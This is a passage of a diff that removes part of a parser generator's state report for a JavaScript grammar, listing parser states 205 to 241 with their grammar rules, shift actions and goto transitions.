- 277) LabelledStatement : IDENT ":" Statement _
-
-  $default      reduce using rule 277 (LabelledStatement)
-
-
-state 206
-
-  29) Property : IDENT _ ":" AssignmentExpr
-  32) Property : IDENT _ IDENT "(" ")" "{" FunctionBody "}"
-  33) Property : IDENT _ IDENT "(" FormalParameterList ")" "{" FunctionBody "}"
-
-  IDENT         shift, and go to state 331
-  ":"           shift, and go to state 330
-
-
-state 207
-
-  30) Property : STRING _ ":" AssignmentExpr
-
-  ":"           shift, and go to state 332
-
-
-state 208
-
-  31) Property : NUMBER _ ":" AssignmentExpr
-
-  ":"           shift, and go to state 333
-
-
-state 209
-
-  34) PropertyList : Property _
-
-  $default      reduce using rule 34 (PropertyList)
-
-
-state 210
-
-  35) PropertyList : PropertyList _ "," Property
-  38) PrimaryExpr : "{" PropertyList _ "}"
-  39) PrimaryExpr : "{" PropertyList _ "," "}"
-
-  "}"           shift, and go to state 335
-  ","           shift, and go to state 334
-
-
-state 211
-
-  37) PrimaryExpr : "{" "}" _
-
-  $default      reduce using rule 37 (PrimaryExpr)
-
-
-state 212
-
-  44) PrimaryExprNoBrace : "(" Expr ")" _
-
-  $default      reduce using rule 44 (PrimaryExprNoBrace)
-
-
-state 213
-
- 214) Expr : Expr "," _ AssignmentExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 336
-
-state 214
-
-  56) MemberExpr : MemberExpr "[" _ Expr "]"
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  Expr          go to state 337
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 110
-
-state 215
-
-  57) MemberExpr : MemberExpr "." _ IDENT
-
-  IDENT         shift, and go to state 338
-
-
-state 216
-
-  67) CallExpr : MemberExpr Arguments _
-
-  $default      reduce using rule 67 (CallExpr)
-
-
-state 217
-
-  56) MemberExpr : MemberExpr _ "[" Expr "]"
-  57) MemberExpr : MemberExpr _ "." IDENT
-  58) MemberExpr : NEW MemberExpr _ Arguments
-  63) NewExpr : MemberExpr _
-
-  "("           shift, and go to state 119
-  "["           shift, and go to state 214
-  "."           shift, and go to state 215
-  $default      reduce using rule 63 (NewExpr)
-
-  Arguments     go to state 339
-
-state 218
-
-  64) NewExpr : NEW NewExpr _
-
-  $default      reduce using rule 64 (NewExpr)
-
-
-state 219
-
-  68) CallExpr : CallExpr Arguments _
-
-  $default      reduce using rule 68 (CallExpr)
-
-
-state 220
-
-  69) CallExpr : CallExpr "[" _ Expr "]"
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  Expr          go to state 340
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 110
-
-state 221
-
-  70) CallExpr : CallExpr "." _ IDENT
-
-  IDENT         shift, and go to state 341
-
-
-state 222
-
-  84) PostfixExpr : LeftHandSideExpr PLUSPLUS _
-
-  $default      reduce using rule 84 (PostfixExpr)
-
-
-state 223
-
-  85) PostfixExpr : LeftHandSideExpr MINUSMINUS _
-
-  $default      reduce using rule 85 (PostfixExpr)
-
-
-state 224
-
- 196) AssignmentExpr : LeftHandSideExpr AssignmentOperator _ AssignmentExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 342
-
-state 225
-
- 103) MultiplicativeExpr : MultiplicativeExpr "*" _ UnaryExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 343
-
-state 226
-
- 104) MultiplicativeExpr : MultiplicativeExpr "/" _ UnaryExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 344
-
-state 227
-
- 105) MultiplicativeExpr : MultiplicativeExpr "%" _ UnaryExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 345
-
-state 228
-
- 111) AdditiveExpr : AdditiveExpr "+" _ MultiplicativeExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 346
-
-state 229
-
- 112) AdditiveExpr : AdditiveExpr "-" _ MultiplicativeExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 347
-
-state 230
-
- 117) ShiftExpr : ShiftExpr LSHIFT _ AdditiveExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 348
-
-state 231
-
- 118) ShiftExpr : ShiftExpr RSHIFT _ AdditiveExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 349
-
-state 232
-
- 119) ShiftExpr : ShiftExpr URSHIFT _ AdditiveExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 350
-
-state 233
-
- 125) RelationalExpr : RelationalExpr "<" _ ShiftExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 351
-
-state 234
-
- 126) RelationalExpr : RelationalExpr ">" _ ShiftExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 352
-
-state 235
-
- 127) RelationalExpr : RelationalExpr LE _ ShiftExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 353
-
-state 236
-
- 128) RelationalExpr : RelationalExpr GE _ ShiftExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 354
-
-state 237
-
- 129) RelationalExpr : RelationalExpr INSTANCEOF _ ShiftExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 355
-
-state 238
-
- 130) RelationalExpr : RelationalExpr IN _ ShiftExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 356
-
-state 239
-
- 145) EqualityExpr : EqualityExpr EQEQ _ RelationalExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 357
-
-state 240
-
- 146) EqualityExpr : EqualityExpr NE _ RelationalExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 358
-
-state 241
-
